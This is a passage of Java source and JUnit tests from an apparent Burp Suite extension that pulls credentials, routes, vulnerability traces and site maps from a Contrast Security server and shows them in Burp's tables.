username; 31 | private final String password; 32 | private final String tsURL; 33 | 34 | public CredentialsRetrieverThread(IBurpExtenderCallbacks callbacks, DataModel dataModel, Logger logger, String username, String password, String tsURL) { 35 | this.callbacks = callbacks; 36 | this.dataModel = dataModel; 37 | this.logger = logger; 38 | this.username = username; 39 | this.password = password; 40 | this.tsURL = tsURL; 41 | } 42 | 43 | 44 | @Override 45 | public void run() { 46 | StatusUpdater.updateStatus(Status.LOADING,dataModel); 47 | boolean credsAdded = false; 48 | try { 49 | TSReader reader = new TSReader(dataModel.getTsCreds(),logger,dataModel,callbacks,Optional.of(getSanitisedTSURL()),true); 50 | 51 | List cookies = reader.login(username,password); 52 | if(!cookies.isEmpty()) { 53 | Optional xsrf = cookies.stream().filter(iCookie -> iCookie.getName().equals("XSRF-TOKEN")).filter(iCookie -> iCookie.getValue()!=null&&!iCookie.getValue().isEmpty()).findFirst(); 54 | Optional ui_key = cookies.stream().filter(iCookie -> iCookie.getName().equals("contrast_ui_key")).filter(iCookie -> iCookie.getValue()!=null&&!iCookie.getValue().isEmpty()).findFirst(); 55 | Optional session = cookies.stream().filter(iCookie -> iCookie.getName().equals("SESSION")).filter(iCookie -> iCookie.getValue()!=null&&!iCookie.getValue().isEmpty()).findFirst(); 56 | if(validateCookie(xsrf)&&validateCookie(ui_key)&&validateCookie(session)) { 57 | Optional serviceKey = reader.getServiceKey(Arrays.asList(xsrf.get(),ui_key.get(),session.get()), xsrf.get().getValue()); 58 | if(serviceKey.isPresent()) { 59 | List orgs = reader.getOrgs(Arrays.asList(xsrf.get(),ui_key.get(),session.get()), xsrf.get().getValue()); 60 | if(!orgs.isEmpty()) { 61 | for(Organization org: orgs) { 62 | Optional apiKey = reader.getAPIKey(Arrays.asList(xsrf.get(),ui_key.get(),session.get()), xsrf.get().getValue(), org.getOrgUuid()); 63 | if(apiKey.isPresent()) { 64 | TSCreds newCred = new TSCreds(getSanitisedTSURL(),apiKey.get().getApi_key(),serviceKey.get().getService_key(),serviceKey.get().getUser_uid(),org.getOrgUuid()); 65 | dataModel.getTsCreds().add(newCred); 66 | credsAdded = true; 67 | Components.getSaveCredsFile().setEnabled(true); 68 | 69 | } 70 | } 71 | } 72 | } 73 | } 74 | } 75 | } catch (Exception e) { 76 | StatusUpdater.updateStatus(Status.ERROR,dataModel); 77 | throw new RuntimeException(e); 78 | } 79 | if(!credsAdded) { 80 | StatusUpdater.updateStatus(Status.ERROR,dataModel); 81 | logger.logError("Unable to retrieve credentials"); 82 | Components.getCredentialsStatusLabel().setText(Status.ERROR.getStatus()); 83 | Components.getStatusLabel().setText(Status.ERROR.getStatus()); 84 | 85 | } else { 86 | StatusUpdater.updateStatus(Status.READY,dataModel); 87 | enableButtons(); 88 | refreshOrgIDS(callbacks); 89 | Components.getStatusLabel().setText(Status.READY.getStatus()); 90 | Components.getCredentialsStatusLabel().setText(Status.READY.getStatus()); 91 | } 92 | 93 | } 94 | 95 | private String getSanitisedTSURL() throws MalformedURLException { 96 | return TSURLSanitiser.getSanitisedURL(tsURL,logger); 97 | } 98 | 99 | private boolean validateCookie(Optional cookie) { 100 | if(cookie.isPresent()&&cookie.get().getValue()!=null&&!cookie.get().getValue().isEmpty()) { 101 | return true; 102 | } else { 103 | return false; 104 | } 105 | } 106 | 107 | @Override 108 | public void notifyThread() { 109 | 110 | } 111 | } 112 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/threads/ImportRoutesToSiteMapThread.java: -------------------------------------------------------------------------------- 1 | package com.contrast.threads; 2 | 3 | import burp.Components; 4 | import burp.DataModel; 5 | import burp.IBurpExtenderCallbacks; 6 | import burp.PortResolver; 7 | import burp.SiteMapImporter; 8 | import burp.Status; 9 | import burp.StatusUpdater; 10 | import com.contrast.Logger; 11 | import com.contrast.TSReader; 12 | 13 | public class ImportRoutesToSiteMapThread extends StoppableThread { 14 | 15 | private final TSReader reader; 16 | private final DataModel dataModel; 17 | private final Logger logger; 18 | private final IBurpExtenderCallbacks callbacks; 19 | private boolean stop = false; 20 | 21 | public ImportRoutesToSiteMapThread(TSReader reader, DataModel dataModel, Logger logger, IBurpExtenderCallbacks callbacks) { 22 | this.reader = reader; 23 | this.dataModel = dataModel; 24 | this.logger = logger; 25 | this.callbacks = callbacks; 26 | } 27 | 28 | @Override 29 | public void run() { 30 | StatusUpdater.updateStatus(Status.LOADING,dataModel); 31 | new SiteMapImporter(dataModel,callbacks,logger,reader).importSiteMapToBurp( 32 | Components.getOrgsCombo().getSelectedItem().toString(), 33 | Components.getAppCombo().getSelectedItem().toString(), 34 | Components.getHostNameField().getText(), 35 | PortResolver.getPort(), 36 | Components.getProtocolCombo().getSelectedItem().toString(), 37 | Components.getAppContextField().getText() 38 | ); 39 | StatusUpdater.updateStatus(Status.READY,dataModel); 40 | } 41 | 42 | 43 | @Override 44 | public void notifyThread() { 45 | this.stop = true; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/threads/RefreshAppIDsThread.java: -------------------------------------------------------------------------------- 1 | package com.contrast.threads; 2 | 3 | import burp.Components; 4 | import burp.DataModel; 5 | import burp.Status; 6 | import burp.StatusUpdater; 7 | import com.contrast.Logger; 8 | import com.contrast.SortByAppNameComparator; 9 | import com.contrast.SortByLastSeenComparator; 10 | import com.contrast.SortType; 11 | import com.contrast.TSReader; 12 | import com.contrastsecurity.models.Application; 13 | 14 | import java.io.IOException; 15 | import java.util.List; 16 | import java.util.Objects; 17 | 18 | public class RefreshAppIDsThread extends StoppableThread { 19 | 20 | private final TSReader reader; 21 | private final DataModel dataModel; 22 | private final Logger logger; 23 | 24 | public RefreshAppIDsThread(TSReader reader, DataModel dataModel,Logger logger) { 25 | this.reader = reader; 26 | this.dataModel = dataModel; 27 | this.logger = logger; 28 | } 29 | 30 | 31 | @Override 32 | public void run() { 33 | StatusUpdater.updateStatus(Status.LOADING,dataModel); 34 | try { 35 | List applications = reader.getApplications(Objects.requireNonNull(Components.getOrgsCombo().getSelectedItem()).toString()); 36 | applications.forEach(application -> dataModel.getAppNameIDMap().put(application.getName(), application.getId())); 37 | if(dataModel.getSortType().equals(SortType.SORT_BY_NAME)) { 38 | applications.sort(new SortByAppNameComparator()); 39 | } else { 40 | applications.sort(new SortByLastSeenComparator()); 41 | } 42 | applications.forEach(application -> Components.getAppCombo().addItem(application.getName())); 43 | } catch (IOException e) { 44 | StatusUpdater.updateStatus(Status.ERROR,dataModel); 45 | logger.logException("Unable to retrieve applications",e); 46 | throw new RuntimeException(e); 47 | } 48 | StatusUpdater.updateStatus(Status.READY,dataModel); 49 | } 50 | 51 | 52 | 53 | @Override 54 | public void notifyThread() { 55 | 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/threads/RefreshOrgIDsThread.java: -------------------------------------------------------------------------------- 1 | package com.contrast.threads; 2 | 3 | import burp.Components; 4 | import burp.DataModel; 5 | import burp.Status; 6 | import burp.StatusUpdater; 7 | import com.contrast.Logger; 8 | import com.contrast.TSReader; 9 | import com.contrastsecurity.models.Organization; 10 | 11 | import javax.swing.*; 12 | import java.util.List; 13 | import java.util.stream.Collectors; 14 | 15 | public class RefreshOrgIDsThread extends StoppableThread { 16 | 17 | private final TSReader reader; 18 | private final DataModel dataModel; 19 | private final Logger logger; 20 | 21 | public RefreshOrgIDsThread(TSReader reader, DataModel dataModel, Logger logger) { 22 | this.reader = reader; 23 | this.dataModel = dataModel; 24 | this.logger = logger; 25 | } 26 | 27 | @Override 28 | public void run() { 29 | try { 30 | StatusUpdater.updateStatus(Status.LOADING,dataModel); 31 | List orgIds = reader.getOrgs().stream().map(Organization::getOrgUuid).collect(Collectors.toList()); 32 | orgIds.forEach(item-> Components.getOrgsCombo().addItem(item)); 33 | RefreshAppIDsThread appIDsThread = new RefreshAppIDsThread(reader,dataModel,logger); 34 | dataModel.getThreadManager().addToThreadList(appIDsThread); 35 | dataModel.getThreadManager().getExecutor().execute(appIDsThread); 36 | StatusUpdater.updateStatus(Status.READY,dataModel); 37 | Components.getCredentialsStatusLabel().setText(Status.READY.getStatus()); 38 | } catch (Exception e) { 39 | StatusUpdater.updateStatus(Status.ERROR,dataModel); 40 | JOptionPane.showMessageDialog(null, e+ 41 | "\n" + 42 | "Most likely this is due to incorrect credentials in your credentials file." + 43 | "\n" + 44 | "See Error log under extensions -> Errors for further details."); 45 | logger.logException("Error occurred while refreshing org list",e); 46 | StatusUpdater.updateStatus(Status.ERROR,dataModel); 47 | Components.getCredentialsStatusLabel().setText(Status.ERROR.getStatus()); 48 | 49 | throw new RuntimeException(e); 50 | } 51 | } 52 | 53 | 54 | 55 | @Override 56 | public void notifyThread() {} 57 | } 58 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/threads/StoppableThread.java: -------------------------------------------------------------------------------- 1 | package com.contrast.threads; 2 | 3 | public abstract class StoppableThread extends Thread{ 4 | 5 | public abstract void notifyThread(); 6 | 7 | } 8 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/threads/TSURLSanitiser.java: -------------------------------------------------------------------------------- 1 | package com.contrast.threads; 2 | 3 | import com.contrast.Logger; 4 | 5 | import java.net.MalformedURLException; 6 | import java.net.URL; 7 | import java.util.Locale; 8 | 9 | public class TSURLSanitiser { 10 | 11 | 12 | public static String getSanitisedURL(String tsURL, Logger logger) throws MalformedURLException { 13 | logger.logMessage("Original TS URL : " +tsURL); 14 | String lowerCase = tsURL.toLowerCase(Locale.ROOT); 15 | if(!(lowerCase.startsWith("https://")||lowerCase.startsWith("http://"))) { 16 | tsURL = "https://"+tsURL; 17 | } 18 | URL url = new URL(tsURL); 19 | if(url.getPath()==null||url.getPath().equals("")||url.getPath().equals("/")) { 20 | if(tsURL.endsWith("/")) { 21 | tsURL = tsURL+"Contrast"; 22 | } else { 23 | tsURL = tsURL+"/Contrast"; 24 | } 25 | } 26 | if(url.getPath().endsWith("/Contrast/")) { 27 | tsURL = tsURL.substring(0,tsURL.length()-1); 28 | } 29 | logger.logMessage("Sanitised TS URL : " +tsURL); 30 | return tsURL; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/threads/UpdateRouteTableThread.java: -------------------------------------------------------------------------------- 1 | package com.contrast.threads; 2 | 3 | import burp.Components; 4 | import burp.DataModel; 5 | import burp.PathTracePair; 6 | import burp.Status; 7 | import burp.StatusUpdater; 8 | import burp.VulnTableResult; 9 | import com.contrast.Logger; 10 | import com.contrast.TSReader; 11 | import com.contrast.model.Route; 12 | import com.contrast.model.RouteCoverage; 13 | import com.contrast.model.RouteCoverageObservationResource; 14 | import com.contrast.model.Routes; 15 | import com.contrast.model.TraceIDDecoractedHttpRequestResponse; 16 | import com.contrast.threads.StoppableThread; 17 | import com.contrastsecurity.models.Chapter; 18 | import com.contrastsecurity.models.HttpRequestResponse; 19 | import com.contrastsecurity.models.Story; 20 | import com.contrastsecurity.models.StoryResponse; 21 | import com.contrastsecurity.models.Trace; 22 | 23 | import java.io.IOException; 24 | import java.util.ArrayList; 25 | import java.util.Date; 26 | import java.util.HashMap; 27 | import java.util.HashSet; 28 | import java.util.List; 29 | import java.util.Map; 30 | import java.util.Optional; 31 | import java.util.Set; 32 | import java.util.concurrent.ExecutionException; 33 | import java.util.concurrent.Future; 34 | 35 | public class UpdateRouteTableThread extends StoppableThread { 36 | 37 | 38 | private final TSReader reader; 39 | private final DataModel dataModel; 40 | private final String orgID; 41 | private final String appID; 42 | private final Logger logger; 43 | private boolean stop = false; 44 | 45 | public UpdateRouteTableThread(TSReader reader, DataModel dataModel, String orgID, String appID, Logger logger) { 46 | this.reader = reader; 47 | this.dataModel = dataModel; 48 | this.orgID = orgID; 49 | this.appID = appID; 50 | this.logger = logger; 51 | } 52 | 53 | 54 | @Override 55 | public void run() { 56 | try { 57 | StatusUpdater.updateStatus(Status.LOADING,dataModel); 58 | Optional routes = reader.getRoutes(orgID, appID); 59 | if (routes.isPresent()&&!stop) { 60 | Map>> routeFutureMap = new HashMap<>(); 61 | for (Route route : routes.get().getRoutes()) { 62 | if(stop) { 63 | break; 64 | } 65 | String routeID = route.getRoute_hash(); 66 | routeFutureMap.put(route, reader.getCoverageForTrace(orgID, appID, routeID)); 67 | 68 | } 69 | for(Route route : routeFutureMap.keySet()) { 70 | if(stop) { 71 | break; 72 | } 73 | Optional result = routeFutureMap.get(route).get(); 74 | dataModel.getRouteCoverageMap().put(route,result); 75 | if(result.isPresent() ) { 76 | int i =0; 77 | for(RouteCoverageObservationResource observationResource : result.get().getObservations() ) { 78 | if(stop) { 79 | break; 80 | } 81 | dataModel.getRouteTableModel().addRow(new Object[]{true,observationResource.getUrl(),observationResource.getVerb(),false,getLastExercisedDate(route)}); 82 | i++; 83 | if(i%5==0) { 84 | Components.getRouteTable().updateUI(); 85 | } 86 | } 87 | Components.getRouteTable().updateUI(); 88 | } 89 | } 90 | } 91 | List> futureReqResponses = new ArrayList<>(); 92 | for (Trace trace : dataModel.getTraces()) { 93 | if(stop) { 94 | break; 95 | } 96 | futureReqResponses.add(reader.getHttpRequest(orgID,trace.getUuid())); 97 | } 98 | int futureCount = 0; 99 | for(Future futureReqRes : futureReqResponses) { 100 | if(stop) { 101 | break; 102 | } 103 | HttpRequestResponse hreqRes = futureReqRes.get().getRequestResponse(); 104 | dataModel.getVulnRequests().add(futureReqRes.get()); 105 | Optional vulnTableResult = getVulnTableResult(hreqRes); 106 | if(vulnTableResult.isPresent()) { 107 | dataModel.getRouteTableModel().addRow(new Object[]{true,vulnTableResult.get().getUrl(), vulnTableResult.get().getVerb(), true,""}); 108 | futureCount++; 109 | if(futureCount%5==0) { 110 | Components.getRouteTable().updateUI(); 111 | } 112 | } 113 | } 114 | Components.getRouteTable().updateUI(); 115 | int traceCount = 0; 116 | for(PathTracePair pathTracePair : getPathsFromNonRequestVulns(orgID,reader)) { 117 | if(stop) { 118 | break; 119 | } 120 | String path = pathTracePair.getPath(); 121 | boolean isFound = false; 122 | for( int i = 0; i < dataModel.getRouteTableModel().getRowCount(); i++) { 123 | if(stop) { 124 | break; 125 | } 126 | String tablePath = dataModel.getRouteTableModel().getValueAt(i,1).toString(); 127 | if(tablePath.equals(path)) { 128 | isFound = true; 129 | break; 130 | } 131 | } 132 | if(!isFound) { 133 | dataModel.getRouteTableModel().addRow(new Object[]{true,path, "", true,""}); 134 | traceCount++; 135 | if(traceCount%5==0) { 136 | Components.getRouteTable().updateUI(); 137 | } 138 | } 139 | addNonRequestVulnToMap(path,pathTracePair.getTrace()); 140 | } 141 | Components.getRouteTable().updateUI(); 142 | } catch (IOException | InterruptedException | ExecutionException e) { 143 | StatusUpdater.updateStatus(Status.ERROR,dataModel); 144 | throw new RuntimeException(e); 145 | } 146 | updateRouteCoverageStats(); 147 | StatusUpdater.updateStatus(Status.READY,dataModel); 148 | } 149 | 150 | private void updateRouteCoverageStats() { 151 | int routeCount = dataModel.getRouteCoverageMap().keySet().size(); 152 | int exercisedCount = 0; 153 | for(Route route : dataModel.getRouteCoverageMap().keySet()) { 154 | if(!(route.getExercised()==null||route.getExercised()==0)) { 155 | exercisedCount++; 156 | } 157 | } 158 | if(exercisedCount!=0) { 159 | Components.getRouteStatsLabel().setText("Routes: " + routeCount + " | Exercised: " + exercisedCount + " | Percentage Exercised : " + ((exercisedCount * 100) / routeCount)+"%"); 160 | } else { 161 | Components.getRouteStatsLabel().setText("Routes: " + routeCount + " | Exercised: " + exercisedCount + " | Percentage Exercised : 0%" ); 162 | } 163 | Components.getRouteStatsLabel().updateUI(); 164 | } 165 | 166 | private void addNonRequestVulnToMap(String path,Trace trace) { 167 | if(dataModel.getNonRequestPathVulnMap().containsKey(path)) { 168 | dataModel.getNonRequestPathVulnMap().get(path).add(trace); 169 | } else { 170 | Set traceSet = new HashSet<>(); 171 | traceSet.add(trace); 172 | dataModel.getNonRequestPathVulnMap().put(path,traceSet); 173 | } 174 | } 175 | 176 | 177 | private String getLastExercisedDate(Route route) { 178 | Long lastExercised = route.getExercised(); 179 | if(lastExercised==null) { 180 | return ""; 181 | } else { 182 | String dateString = new Date(lastExercised).toString(); 183 | dataModel.getFormattedDateMap().put(dateString,lastExercised); 184 | return dateString; 185 | } 186 | } 187 | 188 | private Optional getVulnTableResult(HttpRequestResponse hreqRes) { 189 | if(hreqRes.getHttpRequest()!=null) { 190 | String text = hreqRes.getHttpRequest().getText(); 191 | if(text.contains(" ")&&text.contains(" HTTP")) { 192 | String verb = text.split(" ")[0]; 193 | String url = text.substring(text.indexOf(" ")).split(" HTTP")[0]; 194 | return Optional.of(new VulnTableResult(url,verb)); 195 | } 196 | } 197 | return Optional.empty(); 198 | } 199 | 200 | private List getPathsFromNonRequestVulns(String orgID,TSReader reader) throws IOException { 201 | List paths = new ArrayList<>(); 202 | for (Trace trace : dataModel.getTraces()) { 203 | StoryResponse response = getStoryResponse(orgID, trace.getUuid(), reader); 204 | Story story = response.getStory(); 205 | if (story.getChapters() != null) { 206 | Optional chapter = story.getChapters().stream().filter(chp -> "properties".equals(chp.getType())).findFirst(); 207 | if (chapter.isPresent() && chapter.get().getPropertyResources() != null && !chapter.get().getPropertyResources().isEmpty()) { 208 | paths.add(new PathTracePair(chapter.get().getPropertyResources().get(0).getName(), trace)); 209 | } 210 | } 211 | } 212 | return paths; 213 | } 214 | 215 | private StoryResponse getStoryResponse(String orgID, String traceID,TSReader reader) throws IOException { 216 | if(!dataModel.getTraceIDStoryMap().containsKey(traceID)) { 217 | reader.getStory(orgID,traceID).ifPresent(response -> dataModel.getTraceIDStoryMap().put(traceID,response)); 218 | } 219 | return dataModel.getTraceIDStoryMap().get(traceID); 220 | } 221 | 222 | 223 | 224 | @Override 225 | public void notifyThread() { 226 | this.stop = true; 227 | } 228 | } 229 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/threads/UpdateTraceTableThread.java: -------------------------------------------------------------------------------- 1 | package com.contrast.threads; 2 | 3 | import burp.Components; 4 | import burp.DataModel; 5 | import burp.Status; 6 | import burp.StatusUpdater; 7 | import com.contrast.Logger; 8 | import com.contrast.TSReader; 9 | import com.contrast.threads.StoppableThread; 10 | 11 | import java.io.IOException; 12 | import java.util.Optional; 13 | 14 | public class UpdateTraceTableThread extends StoppableThread { 15 | 16 | 17 | private final TSReader reader; 18 | private final DataModel dataModel; 19 | private final String orgID; 20 | private final String appID; 21 | private final Logger logger; 22 | 23 | 24 | public UpdateTraceTableThread(TSReader reader, DataModel dataModel, String orgID, String appID, Logger logger) { 25 | this.reader = reader; 26 | this.dataModel = dataModel; 27 | this.orgID = orgID; 28 | this.appID = appID; 29 | this.logger = logger; 30 | } 31 | 32 | 33 | @Override 34 | public void run() { 35 | try { 36 | StatusUpdater.updateStatus(Status.LOADING,dataModel); 37 | dataModel.getTraces().clear(); 38 | reader.getTraces(orgID,appID, Optional.of(dataModel)); 39 | Components.getTraceTable().updateUI(); 40 | } catch (IOException e) { 41 | StatusUpdater.updateStatus(Status.ERROR,dataModel); 42 | logger.logException("Error occurred while retrieving traces",e); 43 | throw new RuntimeException(e); 44 | } 45 | StatusUpdater.updateStatus(Status.READY,dataModel); 46 | 47 | } 48 | 49 | 50 | @Override 51 | public void notifyThread() { 52 | } 53 | 54 | 55 | 56 | } 57 | -------------------------------------------------------------------------------- /src/test/java/burp/PortResolverTest.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import org.junit.Test; 4 | 5 | import javax.swing.*; 6 | import java.awt.*; 7 | 8 | import static org.junit.Assert.*; 9 | 10 | public class PortResolverTest { 11 | 12 | @Test 13 | public void testWithEmptyPortAndHTTP() { 14 | setup("http",""); 15 | assertEquals(80,PortResolver.getPort()); 16 | } 17 | 18 | @Test 19 | public void testWithEmptyPortAndHTTPS() { 20 | setup("https",""); 21 | assertEquals(443,PortResolver.getPort()); 22 | } 23 | 24 | @Test 25 | public void testWithNonPortAndHTTPS() { 26 | setup("https","123"); 27 | assertEquals(123,PortResolver.getPort()); 28 | } 29 | 30 | @Test 31 | public void testWithNonEmptyPortAndHTTP() { 32 | setup("http","123"); 33 | assertEquals(123,PortResolver.getPort()); 34 | } 35 | 36 | private void setup(String protocol, String port) { 37 | Components.setProtocolCombo(new JComboBox<>()); 38 | Components.getProtocolCombo().addItem("http"); 39 | Components.getProtocolCombo().addItem("https"); 40 | Components.getProtocolCombo().setSelectedItem(protocol); 41 | Components.setPortNumberField(new TextField()); 42 | Components.getPortNumberField().setText(port); 43 | } 44 | 45 | 46 | } -------------------------------------------------------------------------------- /src/test/java/burp/RouteTableComparatorTest.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import org.junit.Test; 4 | 5 | import java.util.Date; 6 | 7 | import static org.junit.Assert.*; 8 | 9 | public class RouteTableComparatorTest { 10 | 11 | 12 | @Test 13 | public void testWithTwoDatesSame() { 14 | Date date1 = new Date(123456l); 15 | Date date2 = new Date(123456l); 16 | DataModel datamodel = new DataModel(); 17 | datamodel.getFormattedDateMap().put(date1.toString(),date1.getTime()); 18 | datamodel.getFormattedDateMap().put(date2.toString(),date2.getTime()); 19 | RouteTableComparator comparator = new RouteTableComparator(datamodel); 20 | assertEquals(0,comparator.compare(date1,date2)); 21 | } 22 | 23 | @Test 24 | public void testWithFirstOlderThanSecond() { 25 | Date date1 = new Date(123456789l); 26 | Date date2 = new Date(1l); 27 | DataModel datamodel = new DataModel(); 28 | datamodel.getFormattedDateMap().put(date1.toString(),date1.getTime()); 29 | datamodel.getFormattedDateMap().put(date2.toString(),date2.getTime()); 30 | RouteTableComparator comparator = new RouteTableComparator(datamodel); 31 | assertEquals(1,comparator.compare(date1.toString(),date2.toString())); 32 | } 33 | 34 | @Test 35 | public void testWithFirstYoungerThanSecond() { 36 | Date date1 = new Date(1l); 37 | Date date2 = new Date(123456789l); 38 | DataModel datamodel = new DataModel(); 39 | datamodel.getFormattedDateMap().put(date1.toString(),date1.getTime()); 40 | datamodel.getFormattedDateMap().put(date2.toString(),date2.getTime()); 41 | RouteTableComparator comparator = new RouteTableComparator(datamodel); 42 | assertEquals(-1,comparator.compare(date1.toString(),date2.toString())); 43 | } 44 | 45 | } -------------------------------------------------------------------------------- /src/test/java/burp/TestSiteMapImporter.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import com.contrast.Logger; 4 | import com.contrast.TSCreds; 5 | import com.contrast.TSReader; 6 | import com.contrast.mapper.ConfidenceMapper; 7 | import com.contrast.mapper.IssueTypeMapper; 8 | import com.contrast.mapper.SeverityMapper; 9 | import com.contrast.model.Route; 10 | import com.contrast.model.RouteCoverage; 11 | import com.contrast.model.RouteCoverageObservationResource; 12 | import com.contrast.model.Routes; 13 | import com.contrast.model.TraceIDDecoractedHttpRequestResponse; 14 | import com.contrastsecurity.models.Chapter; 15 | import com.contrastsecurity.models.HttpRequest; 16 | import com.contrastsecurity.models.HttpRequestResponse; 17 | import com.contrastsecurity.models.Risk; 18 | import com.contrastsecurity.models.Story; 19 | import com.contrastsecurity.models.StoryResponse; 20 | import com.contrastsecurity.models.Trace; 21 | import com.google.gson.Gson; 22 | import com.google.gson.JsonObject; 23 | import org.junit.Test; 24 | 25 | import javax.swing.table.DefaultTableModel; 26 | import java.io.PrintWriter; 27 | import java.util.ArrayList; 28 | import java.util.Arrays; 29 | import java.util.Collections; 30 | import java.util.List; 31 | import java.util.Optional; 32 | 33 | import static org.junit.Assert.assertEquals; 34 | import static org.junit.Assert.assertTrue; 35 | 36 | public class TestSiteMapImporter { 37 | 38 | 39 | @Test 40 | public void testWithOneVulnRouteSelected() { 41 | String orgID = "randomorgid"; 42 | String appName = "test-app"; 43 | String appID = "randomappid"; 44 | String hostName = "localhost"; 45 | int port = 8080; 46 | String protocol = "http"; 47 | String appcontext = "/flibber"; 48 | TestableCallBack callBack = new TestableCallBack(); 49 | DataModel model = getDataModel(appName,appID); 50 | model.getTraces().addAll(getTraces()); 51 | getStories().forEach(storyResponse -> model.getTraceIDStoryMap().put(storyResponse.getStory().getTraceId(),storyResponse)); 52 | model.setRouteTableModel(getTable(Arrays.asList("/path1","/path2","/path3"),Arrays.asList("/path1"),Arrays.asList("GET","GET","GET"))); 53 | model.getVulnRequests().addAll(getVulnRequests()); 54 | SiteMapImporter siteMapImporter = new SiteMapImporter(model,callBack,getSystemOutLogger(),getTestTSReader(Optional.empty())); 55 | siteMapImporter.importSiteMapToBurp(orgID,appName,hostName,port,protocol,appcontext); 56 | assertEquals(1,callBack.getScanIssues().size()); 57 | assertEquals(1,callBack.getRequestResponses().size()); 58 | assertEquals("sql injection : Found by Assess", callBack.getScanIssues().get(0).getIssueName()); 59 | assertEquals(IssueTypeMapper.SQL_INJECTION.getBurpType().intValue(), callBack.getScanIssues().get(0).getIssueType()); 60 | assertEquals("risk text", callBack.getScanIssues().get(0).getIssueBackground()); 61 | assertEquals("" + 62 | "Vulnerability Details
chapter type
message body
intro text
", 63 | callBack.getScanIssues().get(0).getIssueDetail()); 64 | assertEquals(SeverityMapper.MEDIUM.getBurpSeverity(),callBack.getScanIssues().get(0).getSeverity()); 65 | assertEquals(ConfidenceMapper.CERTAIN.getBurpConfidence(),callBack.getScanIssues().get(0).getConfidence()); 66 | } 67 | 68 | @Test 69 | public void testWithAllVulnRouteSelected() { 70 | String orgID = "randomorgid"; 71 | String appName = "test-app"; 72 | String appID = "randomappid"; 73 | String hostName = "localhost"; 74 | int port = 8080; 75 | String protocol = "http"; 76 | String appcontext = "/flibber"; 77 | TestableCallBack callBack = new TestableCallBack(); 78 | DataModel model = getDataModel(appName,appID); 79 | model.getTraces().addAll(getTraces()); 80 | getStories().forEach(storyResponse -> model.getTraceIDStoryMap().put(storyResponse.getStory().getTraceId(),storyResponse)); 81 | model.setRouteTableModel(getTable(Arrays.asList("/path1","/path2","/path3"),Arrays.asList("/path1","/path2","/path3"),Arrays.asList("GET","GET","GET"))); 82 | model.getVulnRequests().addAll(getVulnRequests()); 83 | SiteMapImporter siteMapImporter = new SiteMapImporter(model,callBack,getSystemOutLogger(),getTestTSReader(Optional.empty())); 84 | siteMapImporter.importSiteMapToBurp(orgID,appName,hostName,port,protocol,appcontext); 85 | 86 | assertEquals(3,callBack.getScanIssues().size()); 87 | assertEquals(3,callBack.getRequestResponses().size()); 88 | } 89 | 90 | @Test 91 | public void testWithARouteSelected() { 92 | String orgID = "randomorgid"; 93 | String appName = "test-app"; 94 | String appID = "randomappid"; 95 | String hostName = "localhost"; 96 | int port = 8080; 97 | String protocol = "http"; 98 | String appcontext = "/flibber"; 99 | TestableCallBack callBack = new TestableCallBack(); 100 | DataModel model = getDataModel(appName,appID); 101 | model.getTraces().addAll(getTraces()); 102 | getStories().forEach(storyResponse -> model.getTraceIDStoryMap().put(storyResponse.getStory().getTraceId(),storyResponse)); 103 | model.setRouteTableModel(getTable(Arrays.asList("/route1","/route2","/route3"),Arrays.asList("/route1"),Arrays.asList("GET","GET","POST"))); 104 | model.getVulnRequests().addAll(getVulnRequests()); 105 | addRoutes(model); 106 | SiteMapImporter siteMapImporter = new SiteMapImporter(model,callBack,getSystemOutLogger(),getTestTSReader(Optional.empty())); 107 | siteMapImporter.importSiteMapToBurp(orgID,appName,hostName,port,protocol,appcontext); 108 | 109 | assertEquals(1,callBack.getRequestResponses().size()); 110 | assertTrue(new String(callBack.getRequestResponses().get(0).getRequest()).startsWith("GET /flibber/route1")); 111 | } 112 | 113 | @Test 114 | public void testWithAllRouteSelected() { 115 | String orgID = "randomorgid"; 116 | String appName = "test-app"; 117 | String appID = "randomappid"; 118 | String hostName = "localhost"; 119 | int port = 8080; 120 | String protocol = "http"; 121 | String appcontext = "/flibber"; 122 | TestableCallBack callBack = new TestableCallBack(); 123 | DataModel model = getDataModel(appName,appID); 124 | model.getTraces().addAll(getTraces()); 125 | getStories().forEach(storyResponse -> model.getTraceIDStoryMap().put(storyResponse.getStory().getTraceId(),storyResponse)); 126 | model.setRouteTableModel(getTable(Arrays.asList("/route1","/route2","/route3"),Arrays.asList("/route1","/route2","/route3"),Arrays.asList("GET","GET","POST"))); 127 | model.getVulnRequests().addAll(getVulnRequests()); 128 | addRoutes(model); 129 | SiteMapImporter siteMapImporter = new SiteMapImporter(model,callBack,getSystemOutLogger(),getTestTSReader(Optional.empty())); 130 | siteMapImporter.importSiteMapToBurp(orgID,appName,hostName,port,protocol,appcontext); 131 | 132 | assertEquals(3,callBack.getRequestResponses().size()); 133 | assertTrue(new String(callBack.getRequestResponses().get(0).getRequest()).startsWith("GET /flibber/route1")); 134 | assertTrue(new String(callBack.getRequestResponses().get(1).getRequest()).startsWith("GET /flibber/route2")); 135 | assertTrue(new String(callBack.getRequestResponses().get(2).getRequest()).startsWith("POST /flibber/route3")); 136 | 137 | } 138 | 139 | private void addRoutes(DataModel dataModel) { 140 | Route route1 = new Route(); 141 | route1.setRoute_hash("route1"); 142 | RouteCoverage routeCoverage1 = new RouteCoverage(); 143 | List observationResources1 = new ArrayList<>(); 144 | routeCoverage1.setObservations(observationResources1); 145 | observationResources1.add(getObservationResource("/route1","GET")); 146 | observationResources1.add(getObservationResource("/route2","GET")); 147 | observationResources1.add(getObservationResource("/route3","POST")); 148 | dataModel.getRouteCoverageMap().put(route1,Optional.of(routeCoverage1)); 149 | } 150 | 151 | private RouteCoverageObservationResource getObservationResource(String url, String verb) { 152 | RouteCoverageObservationResource observationResource = new RouteCoverageObservationResource(); 153 | observationResource.setUrl(url); 154 | observationResource.setVerb(verb); 155 | return observationResource; 156 | 157 | } 158 | 159 | private List getStories() { 160 | return Arrays.asList(getStoryResponse("path1","risk text","chapter type","message body","intro text"), 161 | getStoryResponse("path2","risk text2","chapter type2","message body2","intro text2"), 162 | getStoryResponse("path3","risk text3","chapter type3","message body3","intro text3")); 163 | } 164 | 